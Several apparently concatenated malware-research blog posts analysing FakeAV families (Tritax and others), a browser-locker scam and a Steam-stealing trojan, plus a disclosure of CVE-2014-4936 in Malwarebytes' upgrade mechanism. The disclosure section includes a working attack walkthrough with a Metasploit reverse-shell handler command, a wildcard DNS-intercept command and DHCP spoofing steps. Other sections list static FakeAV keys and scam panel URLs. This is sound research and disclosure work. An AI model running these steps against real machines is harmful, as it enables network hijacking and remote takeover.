At the beginning you saw the structure of the check-ins. One of the params given with the check-in is 'advertid’. This refers to an affiliate of the program. The idea is that you sign up, get your own affiliate ID, you spread the loader given to you which checks in with your personal ID and for every new client you infect with it you get money. As simple as that.

One thing the C&C servers do when retrieving the loaders or payloads it modifies a resource of the PE called 'RCDATA’ to hold your personal ID. This way an infection can be lead back to the appropriate affiliate for payment. This does mean every affiliate has unique bins. I’ve been able to identify at least 49 affiliates and have retrieved 89 unique loaders and 42 payloads. To get the AV vendors to create generic detection instead of specifics for a bin hash I’ve decided to upload all of them. At the end of the article you will find a section called 'Unique Samples’ with their VT link. If you want any of these samples to analyze/play with send me a message on twitter or email me.

Additional info

Additionally when running the FakeAV through my debugger I found the following string in memory “http://softsupport.info/open.php”. This domain is registered to a guy with the email address “dorvey_creator@rocketmail.com”. If we look this up we get a list of domains all pointing to either 95.141.28.79 or 95.141.28.81. The list of domains I was able to get looks sketchy already:

cleanerpro1.biz
cleanerpro2.biz
cleanerpro3.biz
cleanerpro4.biz
cleanerpro5.biz
cleaner-pro1.biz
cleaner-pro2.biz
cleaner-pro3.biz
cleaner-pro4.biz
cleaner-pro5.biz
cleaner-pro6.biz
cleaner-pro7.biz
cleaner-pro8.biz
cleaner-pro9.biz
cleaner-pro10.biz
cleaner17.biz

I do not know what this guy is up to but if you also check the VT entries for those IP’s: [95.141.28.79] and [95.141.28.81] you can see tons of DynDNS passing by. If I find out what his connection is to this FakeAV or what he is doing with those servers and domains I’ll write another article.

Unique Samples

Loaders (88 in total)

Payloads (42 in total)

Stumbled upon another one of the FakeAV’s, its called"Internet Security" this time and the detection is decent for once.

Initial payload from exploit kit b4662d40b12250f79ffec121a083ba6e (VT 19/48)
Unpacked payload f77c7098ce70e9e197a37f1264357bf1 (VT 21/48)
Unpacked the 2nd layer dd158a5d2caa7f9df1bba52e51db7c2c (VT 21/48)

Do note, the screenshot shows the colorful icon being dropped on the desktop but this is after unpacking 2 layers of packers/crypter from the initial drop. The initial drop will show the following when installed:

Analysis

The sample dropped from Neutrino and after being dropped it started to install itself and show fake security related warnings. It installs itself in %appdata% as avsecurity.exe and a startup key in the usual ’\Software\Microsoft\Windows\CurrentVersion\Run’ section of the registry.

After it installed itself and made sure it killed all other running processes except windows explorer and other default windows processes. After this it starts displaying its fake warnings:

Also show popup messages from time to time indicating more problems on the computer:

And again like we’ve seen with previous FakeAV every single process we try to spawn is killed and market as ‘infected’:

After the initial scan finishes it tells us many problems have been found and we need to register before we can clean them up:

We will close that window for now and look around what else this 'antivirus’ can do:

Now if we want to modify any of the options we get the message we need to activate:

Now lets get back the registration, we can either fill in our email and registration key we payed for or if we don’t have those we can pay to get them. The payment dialogs looks like this:

Now of course we aren’t going to pay. Back to the activation form:

Putting in junk info will not get it activated sadly:

Now if we attach our favorite debugger we can find out that the key is (as usual) static and any combination of an email address (can be junk info) with that key will work. The key for this “Internet Security” is the same in all samples I’ve been able to find, the key is:

Y68REW-T76FD1-U3VCF5A

We register successfully now:

We can also finally remove those infections!

And the application itself also shows that it is activated and we now have a 'high security’ level:

After rebooting it still knows that we activated it because it writes a lockfile called 'avbase.dat’ to disk:

The payment pages we saw earlier are webpages being loaded using the IE object in a form, the urls (same order as the screenshots):

http:// regdexsecurity .com/buynow.php?bid=<affiliate id>
https:// secure.combilling .com/order/pay

On the main tab we see a button saying “License Information…” if we click this it opens a browser loading 'http:// www.3dsecureinternational .com/info.php’ which will redirect to 'https:// secure.bill3dpayusauto .com/’. If we provide the correct information (email + CC) we can see our subscription status:

All the payment pages including this customer service page provide ssl from StartSSL which is free the first year, the certificate for the customer service:

Additionally to dropping via exploit kits you can also just purchase it from their website located at 'http:// securityserviceauto .com’. This allows purchase and see all its 'amazing’ features:

All domains seen with this FakeAV:

regdexsecurity.com
combilling.com
securityserviceauto.com
3dsecureinternational.com
bill3dpayusauto.com
defendersecurityauto.com
autointsecurity.com
bill3dpayus.com
licencecheck24.com
internet-security2013.com
3dsecpay.com

All IP’s seen with this FakeAV:

194.54.80.212
194.54.81.20
194.54.81.101

Statistics

I have been monitoring the backend of this FakeAV and was able to build some statistics. In 12~ hours I saw around 1400~ unique IP’s contacting the C&C. I saw around 30~ successful payments, 400~ clients opened the payment window but never ended up paying and I saw about 70~ clients just visiting the main website.
From the total amount of clients that have payed their geographical location (in percentages over a time span of a couple of days):

United States: 72%
France: 13%
United Kingdom: 7.5%
Puerto Rico: 4.5%
Australia: 1%
Argentina: 1%
Jamaica: 0.5%
Canda: 0.5%

The family

While reverseing this FakeAV I found an interesting string embedded in the sample:

This option is available only in the activated version of WinPC Defender. You must activate the program by entering registration information to use all of its features.

So lets see what this WinPC Defender is about, the hash for the sample of WinPC Defender is 'af736cb7ea46b63f6a1cd9526eaf67a7’ (VT: 45/48). Lets infect ourselves with this sample, main window already looks familiar:

So it seems our actors have been busy, our first sample seems to be an improved and reskinned version. So lets register this version, after looking at it with the debugger the key was found to be:

C79AA343F95B062F000C309C14DE2954

Again any combination of an email address (or junk info) and this key will work to activate this FakeAV:

After restarting the sample still recognized the activation, this is because it writes a registry key to store its activation data:

[HKEY_CURRENT_USER\Software\WinPC Defender]
“email”=“registered@blog.0x3a.com”
“key”=“C79AA343F95B062F000C309C14DE2954”

And the main form also changes similar to what we saw with our first sample from “Internet Security”:

The domains seen with this FakeAV:

2payon.com (payment processor)
winpcdefender09.com (main C&C)

The IP’s seen with these domains:

78.46.88.142
194.165.4.77

After some more research I found another sample which seems to be the version before “WinPC Defender”. This one was called 'XP Police Antivirus’. The hash for this sample is “c9e1a1f20501280c5e2caf0fa7c1425a”. (VT: 34/48)

Again the main form looks similar, more simplistic and from what I could tell this is the first version of this family:

If we look at the registration we also see a lot of similarities:

Now if we reverse the registration/activation we find something interesting; the key from 'WinPC Defender’ is the same one being used by 'XP Police Antivirus’. The Key is (again):

C79AA343F95B062F000C309C14DE2954

And after we register it writes similar information to the registry for its start-up check of previous activation:

[HKEY_CURRENT_USER\Software\XP Police Antivirus]
“email”=“registered@blog.0x3a.com”
“key”=“C79AA343F95B062F000C309C14DE2954”

The activation step:

And again the main form looks a lot like the previous samples we looked at after activation:

The domains involved with this FakeAV:

xp-police.com

The IP’s seen with these domains:

213.155.10.63
213.163.65.10

Another thing to note is that all of the samples were written in Delphi. We can pretty much bind these 3 samples together as a family, you can also see the evolution of the icon if you put all the shortcuts next to each other:

Conclusion

We can conclude these 3 belong to the same family / authors. They were first seen with the “XP Police Antivirus” which appeared around January 2009, this was followed with the “WinPC Defender” variant which first appeared around June 2009. The current version “Internet Security” was first seen around October 2013, this leaves a large gap from 2009 to 2013 in which I am unable to link more to this family.
Edit: The gap can be filled with the data S!Ri collected, take a look at his blog here: http://siri-urz.blogspot.fr/search/label/Sig.

I also looked at the registration info on all of the domains but it seems fake identities have been used. I did bind a couple of used email addresses to facebook accounts and names but these ended up being used interleaved so I cannot be sure. Most of them seem to be stolen/abused identities.

The only thing I did notice was that all registrations at first had the name 'Sergey Ryabov’ in it with the email address 'director@climbing-games.com’. The information changed to some kind of privacy service a bit later every time. I was unable to bind this name and/or email address to an identity I could confirm.

About 3 months ago I published an article regarding the ‘browlock’ browser ransomware here. Recently I discovered a new variant of this browser ransomware. This time in stead of a generic allegation from the local police department users are now warned because of piracy.

The first time this one popped up was around the end of September, at the time it was hosted on 213.133.111.10 (malwr.com). Currently it is hosted on 178.254.44.45 (malwr.com).

Different variations of this browserlocker 'scan’ the computer and find illegally downloaded music before redirecting to the locker page asking for a fine to be paid. The German variant seen:

After this the user is redirected to the gate of the browserlocker:

/panel/landing/gate.php?hwid=%

The % is filled with some ID generated from system metadata. This page then redirects the user to the correct country based template for the locker. These are titled, DE.php, NL.php, CH.php, etc. For this they use the Skypex Geo library.

This browserlocker variant should not even be called a browser locker as it doesn’t lock the browser at all. There is only some JavaScript to disable the right click option on the webpage. From the landing page:

<!–
//Disable right click script
function clickIE() {if (document.all) {(message);return false;}}
function clickNS(e) {if
(document.layers||(document.getElementById&&!document.all)) {
if (e.which==2||e.which==3) {(message);return false;}}}
if (document.layers)
{document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
document.oncontextmenu=new Function(“return false”)
// –>

In no way does the landing page block the user from leaving and/or just closing the browser/tab like the first browlock did. The landing page itself looks ripped from other templates and the payment buttons sometimes intersects with the rest of the info.

The payment method is always Paysafecard, no other payment methods have been implemented by the actors at this time. There are however hints that they had implemented / are going to implement Ukash at some point, a snippet of JavaScript code in one of the landing page files:

$(function(){
   var $write = $(’#ukashcode’),
       shift = false,
       capslock = false;

The panel from which they operate this scam also has partial broken scripts, references to scripts and stylesheets and more. For those wanting to poke around, the panel logins are located here:

178.254.44.45/loader/
178.254.44.45/panel/
178.254.44.45/panel2/

The actors behind this setup seem to originate from a German speaking country. This because the base template for their locker is German and their management panel as well. This can also be seen in their logout message:

178.254.44.45/loader/logout

This says “Logout erfolgreich!” which means logout was successful.

They currently target the following countries with their browser 'locker’:

Austria
Belgium
Switzerland
Germany
Spain
Great Britain
Greece
Italy
Netherlands
Portugal
Sweden
United States

And the designs for each country, Belgium has two designs as there is a Flemish and French speaking part of the country.

Austria:

Belgium (France version):

Belgium (Flemish version):

Switzerland:

Germany:

Spain:

France:

Great Britain:

Greece:

Italy:

Netherlands:

Portugal:

Sweden:

United States:

This time I’m diving into an active FakeAV campaign, I’ve named it the NameChanger FakeAV, it falls under the Tritax family. Now why I named it the namechanger, just take a look the following image composed of screenshots of all the different samples:

Update (27-2-2014): Updated the end of the article with a list of domains and IP’s seen in the past 2 months. Tritax is still active and distributing.

Update (20-3-2014): After sinkholing and taking down the domains actively with the help of some friends it seems the Tritax actors gave up. The TDS’s stopped redirecting and no new domains are being registered, taking action against this campaign was successful!

Some time ago a friend, @VriesHd, pointed out a FakeAV spreading via businessinsider.com: http://urlquery.net/report.php?id=8495695 Not long after this, a similar thing happened to DailyMotion.com. A writeup for that was done by invincea: http://www.invincea.com/2014/01/dailymotion-com-redirects-to-fake-av-threat/ Skype advertisement has also been affected by the campaign: http://community.skype.com/t5/Security-Privacy-Trust-and/Skype-ads-in-rotation-have-been-compromised-and-contain-Malware/td-p/2894251

More recently the same campaign was seen by @Malekal redirecting via PopAds delivered advertisement: https://twitter.com/malekal_morte/status/426394544414793728 and another finding: https://twitter.com/malekal_morte/status/430050149650292736

David Jacoby from Securelist also published an article after Tritax started spreading via one of the largest websites in Sweden: http://www.securelist.com/en/blog/208216070/Largest_Website_in_Sweden_Spreading_Malicious_Code

The Tritax family has been around for a long time, the first sample of it was seen around may 2009. The current campaign drops a sample I have named NameChanger.C as its the third FakeAV type from this family that is constantly being repackaged with new names.
I’ll start of with an analysis of the current version of the FakeAV, after this I’ll go into the family, third will be the new FakeAV social engineering kit this group is using with their current campaign. I’ll end with a section which is a hashdump of all the samples I’ve been scraping from their backend.

Analysis

This sample drops from a specialized social engineering kit for FakeAV’s, I’ll get into details about this later. The name for this version is “Windows Accelerator Pro”, MD5: 0a0fd6b228e1edb56067c86304c15861 (VT: 20/48).

It initially installs itself in the usual startup location, the keyname for these samples are “GuardSoftware”:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
“GuardSoftware”=“C:\Documents and Settings\admin\Application Data\guard-hqxl.exe”

The filename is formatted as “guard-%s.exe”, as can be seen when running the sample through OllyDBG in the image below. Since the 1st or 2nd of February samples are now formatted as “svc-%s.exe”.

After the sample has installed itself it will force a reboot in order to make sure no other analysis tools are started. When its first ran (before the reboot) it will show a splashscreen:

Once the machine has rebooted it will show the usual fake scanning with detection of infected items:

Once completed the user gets a listing of all the affected files:

When you attempt to clear up the infections by hitting “Remove All” we get a message regarding activation. You cannot clean up until you active the product:

Before we activate the ‘product’ lets have a look around at what it 'can’ do for us:

All of course are unavailable to us unless we activate. When enabling one of the options we get the same “Activate” popup.

There’s also an about section in the 'product’:

Besides the fake scanning and available options it will also show a variety of fake warning messages:

Some more aggressive warnings appear from time to time as well:

We are also, like usual with FakeAV’s, not allowed to start any applications because they are 'infected’:

It also warns us that we are torrenting and that downloading pirated material is a felony:

When we click the “Get anonymous connection” button we go back to the activation form again. When we hit the “Activate” button we are greeted by a payment form:

The form is retrieved by starting the Microsoft HTA client:

mshta.exe “http://93.115.82.249/?0=16&1=0&2=9&3=p&4=2600&5=1&6=1111&7=byuqshgtbm”

This is the C&C for this FakeAV, all subsequent traffic from this sample will go towards this IP.

Now if we go to the “Register” section we can 'activate’ the product:

We do need a valid key for this one. The key for this sample is:

1W111-111B1-11T11-E1121

Note: If you have any old infections from before July 2012 the key is “0W000-000B0-00T00-E0020”

When we enter the correct key we are allowed to activate:

As soon as we hit the “Register” button we are taken back to the scan results page and it will start 'cleaning’ up the infections:

Now if we look at the application it has all turned green and all 'functionality’ is available to us:

The about form is also updated with the activation date and serial:

The application stores the activation data in the registry like this:

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Settings]
“UID”=“lthsidoaat”
“net”=“2014-1-9_3”
“Config”=hex:de,07,01,00,<truncated>

The “Config” key holds the activation key as well:

This FakeAV has inbuilt translations for German, French and Spanish:

I’ve seen the following IP’s for the C&C’s in samples dating from November 2013 until February 2013:

93.115.82.249
93.115.82.248
93.115.86.197

Interesting fact; These guys have been using a valid license for ASProtect for many of their payloads. This makes analyzing and reversing a bit harder, especially unpacking the samples.

The Family

The FakeAV family that was spreading here is called 'Tritax’. It has been around for a very long time and @S!Ri has been writing about variants of this family for a long time. A big thank you to him for sharing some of the older samples of this family with me to get the timeline correct. You can follow his FakeAV findings here: http://siri-urz.blogspot.fr/

The first sample appeared around may 2009, it was called “Crusader Antivirus”:

This one displayed the usual fake warnings and fake scanning like we see now:

This FakeAV was meant to look like the AGAVA Antispy application which was a legit application. Crusader mimicked most of the GUI of Antispy:

This first sample is in fact where the “Tritax” name comes from, on the about dialog a company was described as “TRITAX Limited”:

The samples for this one, MD5: 301b4ca82a0dc6931562e9b322ceb7c1

The 2nd installment of the family was called “SecretService”, this one has had 2 versions:

After the SecretService version, “Privacy Center” and “Safety Center” popped up:

After those we were greeted by “Privacy Center” and “Control Center”:

Now we are greeted with the first NameChanger variant, I’ve named it NameChanger.A. It first appeared in December 2010. It has been seen with the following names:

The GUI has had a few changes but the general look stayed the same. A few samples:

After variant A, the B variant: NameChanger.B appeared in May 2011. It has had the following names:

And looked the same in every sample, only the name constantly changed:

And in February 2012 the first version of our NameChanger.C appread, it was named 'Windows Protection Manager’.

This shows how long this group has been active, 2009 until now. Their current campaign is still really active and spreading new versions of NameChanger.C. It seems they have now got a good setup going with the special FakeAV Kit.

The full list of used names so far for NameChanger.C:

The Social Engineering Kit

I encountered the first sample when being redirected from the Businessinsider website. While initially it seemed like a one-off I found out this is an actual package like you would normally see with exploit kits. In this case it relies on social engineering.

When landing on this kit a user is greeted with a javascript alert message:

Then a page which shows a fake message from Microsoft Security Essentials. The message lists a number of items that are supposedly infected:

When clicking the “Clean computer” message the user is prompted with a download with names like “Setup.exe” or “Install.exe”. This is when the user downloads the FakeAV and manually runs it. This way it looks believable that an Antivirus suddenly comes up talking about infections on your computer.
I have found different FakeAV family campaigns using this Kit, the only one I have seen being updated on the landing page is the one for the Tritax group. Initially the landing page looked like this:

Around the 10th of January it suddenly changed the JavaScript on the landing page to a crypted version.

A week later on the 17th of January the landing changed again, only this time the crypted JavaScript snippets were put in external files called “scr1.js” and “scr2.js”. Landing page code:

During this time the DNS for the landing of the Tritax group is always on a subdomein, this is either 'b2811a66’, 'c3913c6c’, 'e324rfds’, 'wed322d2’, '5c4e4143’ or '90d6bc5a’. Of course this will change from time to time, it just means the main domain never points to the landing server, its always a subdomain. Additionally the domains used by this group are registered at registrars allowing for domain tasting (5-day testing period, free!). The domains rotate every so few days. The first registar I saw them appear was Domeny.pl, they are current being tasted at Key-Systems GmbH. These are the stats in terms of TLD’s I have seen:

106 pw
76 nl
30 pl
15 com

Here is a full list of all the domains used in the period of 1st of January 2014 until the 25th of January 2014.

These domains used custom nameservers, @vriesHD has done his best taking these down for the past months. The IP’s I’ve seen used in this campaigns landing pages are:

93.115.82.246
93.115.82.247
93.115.86.199
212.83.137.239
212.83.138.29
212.83.138.30
212.83.155.45

The following domains have been seen for the custom nameservers:

dsfe1.com
dsfe2.com
svav1.com
svav2.com
stav1.com
stav2.com
isavx.com
isavh.com
ispav.com
ispax.com

Additionally to advertisment and spam mail spreading these guys have also compromised a large number of websites. All websites compromised are Wordpress websites. A malicious PHP file was uploaded after exploitation. This file gives redirects to domains listed above (and the new ones still being generated). These pages respond with:

window.top.location.replace(“ ***tritax campaignlanding page*** ”);

They can usually be spotted when websites have javascript snippets loaded like:

<script src=“/wp-includes/js/jquery/jquery.php”></script>

The full list of websites affected (some of them have already cleaned up or have gone offline):

Collected DNS information from January -> February 2014

Collected Samples

In June of this year I was playing around with Malwarebytes’s products. I blogged about one of their products, Malwarebytes Anti-Malware, before when it had some issues; you can read that blog entry [ here ].

While playing around with Anti-Malware I discovered you could easily hijack the upgrade mechanism. After figuring out the protocol I could push my own upgrades. I reported this to Malwarebytes on July 16th, it got a CVE assigned: CVE-2014-4936.

About half a month later, around the time Malwarebytes had released their Anti-Exploit product Beta I started to play around with this one as well. I discovered it was subject to the same upgrade hijacking method.

Both vulnerabilities were scaled under one CVE, it was a shared mechanism (and code). Officially the description for this CVE has become:

Malwarebytes Anti-Malware in consumer version 2.0.2 and earlier and Malwarebytes
Anti-Exploit in consumer version 1.03 and earlier allow attackers to execute arbitrary
code by hijacking the underlying network layer or DNS infrastructure between the client
PC and the Malwarebytes Content Delivery Network (CDN). Corporate versions are not
affected.

One thing to note is that consumer versions of MBAM and MBAE are affected by this. Business versions of the products do not use the Malwarebytes CDN for upgrades.

This blog entry describes the vulnerability, how it works and how you can perform the attack including a POC. Code for the POC is hosted on my Githubrepository: [ CVE-2014-4936 POC ]

Timeline:

Malwarebytes Anti-Malware
- Vulnerability discovered: June 18th 2014
- Vulnerability reported: July 16th 2014
- Vulnerability fixed in version 2.0.3 released on October 3rd 2014
Malwarebytes Anti-Exploit
- Vulnerablity discovered: August 19th 2014
- Vulnerability reported: August 21st 2014
- Vulnerability fixed in version 1.04.1.1012 released on September 5th 2014

The vulnerability

Both Anti-Malware and Anti-Exploit have upgrade capabilities through the form of HTTP transfered installation packages. Both software packages have no or limited upgrade validation implemented thus allowing anyone who can work out the upgrade protocol to inject their own payload.

Updates and Upgrades

When the software, either MBAM or MBAE, starts it will first resolve the Malwarebytes CDN:
192.168.2.102 -> 8.8.8.8 (DNS) Standard query A data-cdn.mbamupdates.com

For MBAM it will start checking versions of the following:

Consumer config
Consumer news
Consumer versioncheck
Consumer HTML
Signature database
Program upgrades

If any of the version requests respond with a higher number than the client itself has it will start downloading a partial or full update/upgrade. For the program upgrading it will download an installer for the latest version.

We are interested in the program upgrade as we can use this to, with ease, send malicious payloads without having to go into any advanced exploitation techniques. The client will start by sending a version request:

In the version request the User-Agent of the client shows the version (red underlined in the top section), the client has version 1.60.1.1000. The server responds by telling the client version 1.75.0.1300 (red underlined in the bottom section) is the latest available.
The client will then proceed by downloading this file by making a request to the CDN once more:

The installation is downloaded and the installer for the new version starts.

The problem here lies with the fact that the MBAM client does not verify the actual installer it downloads. It can be whatever arbitrary Windows PE the server gives back. This is combined with the fact that MBAM starts the new client installer with full administrative privileges. Similar implementation and the same problem occurs for MBAE as well, payloads are unchecked and executed with full administrative privileges with Malwarebytes’s protection uninstalled.

This process is the same for MBAE although the request is a little bit different.
MBAM makes the following 2 requests for the version check followed by the upgrade download:

GET http://data-cdn.mbamupdates.com/v0/program/mbam.check.program HTTP/1.1
GET http://data-cdn.mbamupdates.com/v0/program/data/mbam-setup-<new version>.exe HTTP/1.1

MBAE makes the following requests:

GET http://data-cdn.mbamupdates.com/v2/mbae/consumer/version.chk HTTP/1.1
GET http://data-cdn.mbamupdates.com/v2/mbae/consumer/data/mbae-setup-<new version>.exe

Hijacking the upgrades, exploiting the vulnerability

I have the following setup:

2 VM’s in host only network adapter mode:

Windows XP running an old MBAM version 1.60.1.1000
Kali Linux running my MBAM CDN simulation python script

To exploit the client and to prove the vulnerability we need to intercept the DNS requests for the data-cdn.mbamupdates.com. We can have a few options:

Change the DNS adapter settings to resolve DNS with my Kali system which can do redirection
Use the Windows host file to override DNS
Grab ettercap in Kali and spoof towards the client to get DNS redirected.

To show the POC in a more ‘natural’ environment I chose the 3rd option. I’m going to show the vulnerability by performing a DHCP spoofing attack. There are of course other methods of attacking, you just need to be able to control the DNS of the client. Let’s start:

First we setup both clients running side by side, we put the two VM’s in host only adapter mode. On the Windows XP machine we install the old MBAM version, I took the oldest MBAM installer I had, version 1.60.1.1000:

On Kali we also have to start the Malwarebytes CDN simulator, you can get this script from the Github repository [ here ]. The simulator doesn’t need any arguments, you can just run it by typing python Malwarebytes-CDN-Simulator-CVE-2014-4936.py:

Some older versions of MBAM (1.46 for example) follow an older upgrade pattern, although the vulnerability also exists for these versions the provided Malwarebytes CDN simulator only works for MBAM since version 1.60.1.xxx. Older version will crash during the upgrade. You could adapt the POC to work for this version as well, its a matter of changing the URL’s it looks at.

One thing you have to make sure of is that you throw your payload in the working directory of the CDN simulator and name it 'payload.exe’ in order to be picked up and send to the upgrading clients.
For this attack we’ll generate a meterpreter payload, we’re running Kali which has Metasploit installed already. We can quickly generate a PE payload from the commandline, in this example I use the meterpreter payload:

msfcli multi/handler payload=windows/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=4444 E

Note: Rapid7 published a post regarding the deprecation of msfpayload. This means in the future this payload has to be generated slightly different. Read more on the change here: [ Good-bye msfpayload and msfencode ]

The handler will start and listen for incoming connections:

Our reverse handler is now ready to receive incoming connections from our meterpreter payload, we can now start our attack.

Next thing we need to do is get DNS requests from the Windows XP machine redirected towards the Kali machine so it can be intercepted. We do this by grabbing Ettercap, in my case I grab Ettercap Graphical so I can visually show the attack in steps here.
Lets open up Ettercap and start by setting it in unified sniffing mode, the difference from bridged mode is that in unified mode we just sniff all packets that pass on the interface, in bridged mode it will use two network interfaces and forward traffic from one to the other and perform a mitm attack. In our case we will do a DNS 'mitm’ attack but we dont need bridged mode.

After opening up unified mode the menu will change:

Now its time to select our target, fom the Hosts menu open up the host list and then hit Scan for hosts. A list of hosts in the current connected network will appear, in my case there are 2:

The Windows XP machine (192.168.56.102)
The host running the virtual machines (192.168.56.1)

We select the target, the Windows XP machine with IP 192.168.56.102 and hit the 'Add to Target 1’ button to select it. You can view the targets by clicking the Current Targets button under the Targets menu option to see if the machine was selected.
Now we have to enable the DNS spoofing, Ettercap does have a plugin called 'dns_spoof’ but I choose to use dnslib’s intercept server. Its part of the DNSLib python library. Setting up is a single command:

python -m dnslib.intercept -p 53 -a 192.168.56.103 -i '* IN A 192.168.56.103'

Here we setup our listener on port 53 and bind to address 192.168.56.103 and intercept any request (* for the wildcard) and respond to it with the 192.168.56.103 IP. This means we will grab any request, you can also specify it a bit better by only responding for data-cdn.mbamupdates.com and *.data-cdn.mbamupdates.com but for ease I chose to intercept everything and route it to the Kali machine.

We now can start our attack. Open up the Mitm menu option and click on Dhcp spoofing. We will spoof DHCP towards the Windows XP client so we can force our own DNS server in the DNS server settings. On the DHCP Spoofing popup we leave the IP Pool field empty, enter 255.255.255.0 in the Netmask field and put our own IP (192.168.56.103) in the DNS Server IP field to enforce the Kali host to be the DNS server for the Windows XP machine.

After entering the options hit the 'OK’ button to start the attack. In the status log we can see Ettercap is starting the attack.

After we’ve started the DHCP spoofing we need to wait for the DHCP lease (or force it on the client itself) to renew so Ettercap can spoof it. After a bit Ettercap will log the DHCP request and its response to it:

DHCP: [08:00:27:2F:56:97] REQUEST 192.168.56.102
DHCP spoofing: fake ACK [08:00:27:2F:56:97] assigned to 192.168.56.102 
DHCP: [192.168.56.103] ACK : 192.168.56.102 255.255.255.0 GW 192.168.56.103 DNS 192.168.56.103

On the client we can now check the IPconfig settings to check for our spoofed DNS server:

What we have to do now is either wait for the MBAM client on the Windows machine to contact the server for upgrades automatically or enforce it by hitting the Check for Updates button on the Update tab in the MBAM GUI.

On the Malwarebytes CDN script terminal we can see the client contacted us and has downloaded the payload:

root@kali:~/mbam_upgrade# python Malwarebytes-CDN-Simulator-CVE-2014-4936.py 
Started Malwarebytes CDN simulator.

[+] Attempt for URI: /v1/news/consumer/version.chk
192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/news/consumer/version.chk HTTP/1.1" 200 -
[+] Attempt for URI: /v1/custom/consumer/version.chk
192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/custom/consumer/version.chk HTTP/1.1" 200 -
[+] Attempt for URI: /v1/database/rules/version.chk
192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v1/database/rules/version.chk HTTP/1.1" 200 -
192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v0/program/mbam.check.program HTTP/1.1" 200 -
[+] MBAM Client program version check: Client version 1.60.1.1000, enforced update version 2.60.1.1000
192.168.56.102 - - [07/Oct/2014 15:43:49] "GET /v0/program/data/mbam-setup-2.60.1.1000.exe HTTP/1.1" 200 -
[+] MBAM Client payload download.

On the Windows machine we see MBAM telling us a new version is available:

If we accept and run the upgrade installer we see MBAM dissapear and nothing happens. Now if you check back with the meterpreter handler we see the client has connected back to us:

And due to how the upgrade works, the old MBAM install will execute the 'installer’ with full administrative privileges as you can see by typing getuid:

We have successfully injected our payload into the upgrade process of MBAM. We have taken over the Windows XP machine by abusing the vulnerability. The same process can be used to takeover MBAE clients, the only difference is the checkin URLs but the Malwarebytes CDN simulator script already takes care of it, enjoy!

Back in the end of November I started to spot some steam stealing malware in a backdoored Mumble installer:

#Steam stealer, infected mumble installer & fake image. VT: 1/56 https://t.co/jXyJDUyjxH and https://t.co/irzSB6NfuQ pic.twitter.com/FU3O3iUerD
— Yonathan Klijnsma (@ydklijnsma)
November 30, 2014

Samples of these kind of stealers appeared more and more often. Around half of December I ended up with 14 unique samples that were actively spread around (see the end of this post for hashes and downloads for these samples):

All of them except one are around 250kb or more in size. Only one sample, called ‘SteamDouble.exe’, was 69kb in size:

File name: SteamDouble.exe
File size: 69.0 KB ( 70656 bytes )
First seen: 2014-12-07
MD5: 5f50e810668942e8d694faeabab08260
SHA1: b44c087039ea90569291bfe1105693417fb2f84d
SHA256: 21c93477c200563fea732253f0eb2814b17b324e5d533a7c347b1bd7c6267987
ssdeep: 1536:NrNoD6y4E/+JWiiVUIekBixa7vq5KwSTPxkjL/Gv:NrNADqWii2IekBMa7v9wSYY
VirusTotal:https://www.virustotal.com/en/file/21c93477c200563fea732253f0eb2814b17b324e5d533a7c347b1bd7c6267987/analysis/
Malwr (Downloadable sample):https://malwr.com/analysis/NDQwMzE3ZTI4OTc5NGZkYmI4MDc4YzhhNDMwOGFmNjA/

STEAMDOUBLE/BRUTALITY analysis

The 'SteamDouble.exe’ sample came from a link originally send in a Steam chat message. The text of the message was: “"lol, wtf? http://img-pic[.]com/image612_14[.]jpeg”. When visiting this link the server on the other end responded with:

HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Sun, 04 Jan 2015 14:15:03 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Location: http://goo[.]gl/QaidJm

This was a redirect towards a Google shortlink: “goo[.]gl/QaidJm”. In turn this shortlink redirects towards 'steamdouble[.]com’ website:

It advertises the so called 'CS:GO Skin Duplicator’. The files for this tool are hosted on a filesharing service from russia called 'exfile.ru’. The website itself also features a video showing the usage of the tool:

The video shows a tool which allows, as the tool’s name says, a user to duplicate CS:GO items. In the video it links to 'csgoskinduplication[.]com’ this is the exact same website as 'steamdouble[.]com’. The sample I grabbed back when I first saw this appear was not obfuscated or crypted. The current version available from the site has a crypted fake DLL which is decrypted and then ran. This payload is the same one I will be showing in the further analysis, just packed/crypted. It seems when the guy behind this first started he didn’t seem to care about packing/crypting his payload.

The 'SteamDouble.exe’ payload is written in C#. Throwing it in a tool like ILSpy gives us a nice set of source code files especially because the author didn’t obfuscate any of the code. Just by looking at the project title 'Stealer’ and the folder names inside the project like 'SteamStealer’ it gives us a clear indication of what this sample does:

The first folder named 'Steam4NET’ contains a modified, stripped or old version of the Steam4NET open source .NET wrapper around the Steamworks C++ interfaces hosted on Github: https://github.com/SteamRE/Steam4NET

Looking at the main function we see the first thing it does is download an image which is stored in the appdata folder and shown to the user:

The image that is downloaded and displayed shows a screenshot of a russian DOTA2 account with the items it has available. (The original message send on Steam chat was an 'image’ link so this makes sense to hide its real purpose). The downloaded image:

The second part of the main function is where the actual 'Steam stealing’ takes place:

First it creators a new SteamWorker and adds an 'offer’ which is used to trade items. The Steam cookies are parsed and as long as there are Steam cookies (aka the user is logged in to Steam) it will perform the 'Spam.SpamInFriendList’ function which contains the message which got me on the sample in the first place “lol, wtf? http://img-pic[.]com/image612_14[.]jpeg”.
After this it adds the items it wants to steal which is a long list of items this guy is interested in. The last step is where it actually sends the item to trade to his own account. On the other end the guy only has to accept the trade offers (or have some automated way of doing it) and the items will belong to him. Very simple but an effective way of stealing items.

Going back to the original 'addOffer’ function if we look at the arguments it expects we can find who is behind this (or at least the account used for the malicious trading):

The first argument to this function is the user’s Steam ID. This can be put in a SteamCommunity URL to go the user’s profile. The URL for this is: 'http://steamcommunity.com/profiles/<SteamID>/’, this will redirect to the user’s real ID. In this case the SteamID used is '76561198161815322’, if we put this is in we get redirected to 'http://steamcommunity.com/id/prewen/’. This is the profile of a guy going by the nickname 'prewelec’ who is supposedly from the US:

On the bottom the user commented some trade URL’s with the ID and token, these are the same items used for the 'addOffer’ function’s 2nd and 3rd argument.
